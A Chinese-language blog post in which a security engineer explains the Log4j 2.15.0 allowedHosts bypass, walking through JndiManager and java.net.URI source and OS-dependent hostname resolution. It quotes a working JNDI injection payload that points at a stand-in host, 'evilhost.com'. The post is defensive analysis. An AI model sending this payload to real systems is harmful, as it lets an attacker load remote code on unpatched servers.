甲方安全工程师一枚,12月9号log4j2漏洞爆发以来一直在资产排查、漏洞影响面、组件修复方案、漏洞推动一系列事情中,忙到疲于奔命,很少有时间做复盘,趁着周六简单记录这个getHost() 绕过的case:

  • 2.15.0在JndiManager.lookup中强校验allowedHosts,因为2.15.0默认不会开启lookup的功能,所以对lookup侧的娇艳逻辑简单判断没有问题。
  • 周五看到allowedHosts_bypass的文章,于是看下自己当时判断出错的原因。

2.15.0修复方案

和这次bypass强相关的是JndiManager.lookup,所以仅看这部分即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public synchronized <T> T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
if (uri.getScheme() != null) {
// 校验协议白名单
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
return null;
}
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
// 校验host是否在本地白名单中
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
Attributes attributes = this.context.getAttributes(name);
if (attributes != null) {
// In testing the "key" for attributes seems to be lowercase while the attribute id is
// camelcase, but that may just be true for the test LDAP used here. This copies the Attributes
// to a Map ignoring the "key" and using the Attribute's id as the key in the Map so it matches
// the Java schema.
Map<String, Attribute> attributeMap = new HashMap<>();
NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
while (enumeration.hasMore()) {
Attribute attribute = enumeration.next();
attributeMap.put(attribute.getID(), attribute);
}
Attribute classNameAttr = attributeMap.get(CLASS_NAME);
if (attributeMap.get(SERIALIZED_DATA) != null) {
if (classNameAttr != null) {
String className = classNameAttr.get().toString();
if (!allowedClasses.contains(className)) {
LOGGER.warn("Deserialization of {} is not allowed", className);
return null;
}
} else {
LOGGER.warn("No class name provided for {}", name);
return null;
}
} else if (attributeMap.get(REFERENCE_ADDRESS) != null
|| attributeMap.get(OBJECT_FACTORY) != null) {
LOGGER.warn("Referenceable class is not allowed for {}", name);
return null;
}
}
}
}
} catch (URISyntaxException ex) {
// 修复rc-1绕过
LOGGER.warn("Invalid JNDI URI - {}", name);
return null;
}
return (T) this.context.lookup(name);
}

最重要的在于对地址的校验,强制限制在本地地址范围内,使用getHost()方法,之前也想到不一致的问题,但是认为authority中使用@做截断,但是new URI("http://127.0.0.1@www.baidu.com").getHost()获取的是后面www.baidu.com所以不影响!allowedHosts.contains(uri.getHost())的判断
1
2
3
4
 if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}

bypass

而通过twitter上给出的绕过poc${jndi:ldap://127.0.0.1#evilhost.com:1389/a}看,他是在authority中添加#做截断获取到127.0.0.1来绕过本地限制,但问题有两个

  • getHost()#的处理
  • lookup()127.0.0.1#evilhost.com:1389/a的连接处理

getHost

简单追了下代码,在java/net/URI.java中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private int parseHierarchical(int start, int n)
throws URISyntaxException
{
// 判断是否出现/?#特殊字符,返回index
int q = scan(p, n, "", "/?#");
if (q > p) {
// 带入parseAuthority中,根据p,q做substring截断获取authority
p = parseAuthority(p, q);
} else if (q < n) {
// DEVIATION: Allow empty authority prior to non-empty
// path, query component or fragment identifier
} else
failExpecting("authority", p);
}

lookup

对于加入#后是否会影响ldap的连接,跟了下代码但没有非常明确的结论

1
2
3
JndiManager.lookup中
// 触发对应的连接
Attributes attributes = this.context.getAttributes(name);

继续跟进会发现本质是socket连接,其中会带入127.0.0.1#evilhost.com做DNS解析
1
2
3
4
5
6
7
8
9
10
11
public InetSocketAddress(String hostname, int port) {
checkHost(hostname);
InetAddress addr = null;
String host = null;
try {
addr = InetAddress.getByName(hostname);
} catch(UnknownHostException e) {
host = hostname;
}
holder = new InetSocketAddressHolder(host, addr, checkPort(port));
}

java层面的最底层方法,可以看到是一个native方法,而native方法受OS的影响,而lookupAllHostAddr在C中会调用getaddrinfo方法
1
2
public native InetAddress[]
lookupAllHostAddr(String hostname) throws UnknownHostException;

而验证给方法的差异性最简单的使用ping,ping中使用该函数,最后发现该方法在不同的OS中存在差异性,ubuntu、window中不能做解析,而macos可以
1
2
3
4
root@ubuntu /h/k/Desktop# uname -a
Linux ubuntu 5.4.0-91-generic #102~18.04.1-Ubuntu SMP Thu Nov 11 14:46:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
root@ubuntu /h/k/Desktop# ping 127.0.0.1#.kv3g4h.dnslog.cn
ping: 127.0.0.1#.kv3g4h.dnslog.cn: Name or service not known

结论

  • getHost()的差异性导致可信任白名单的绕过
  • 加入特殊字符后的连接强依赖于OS,目前仅有Macos受影响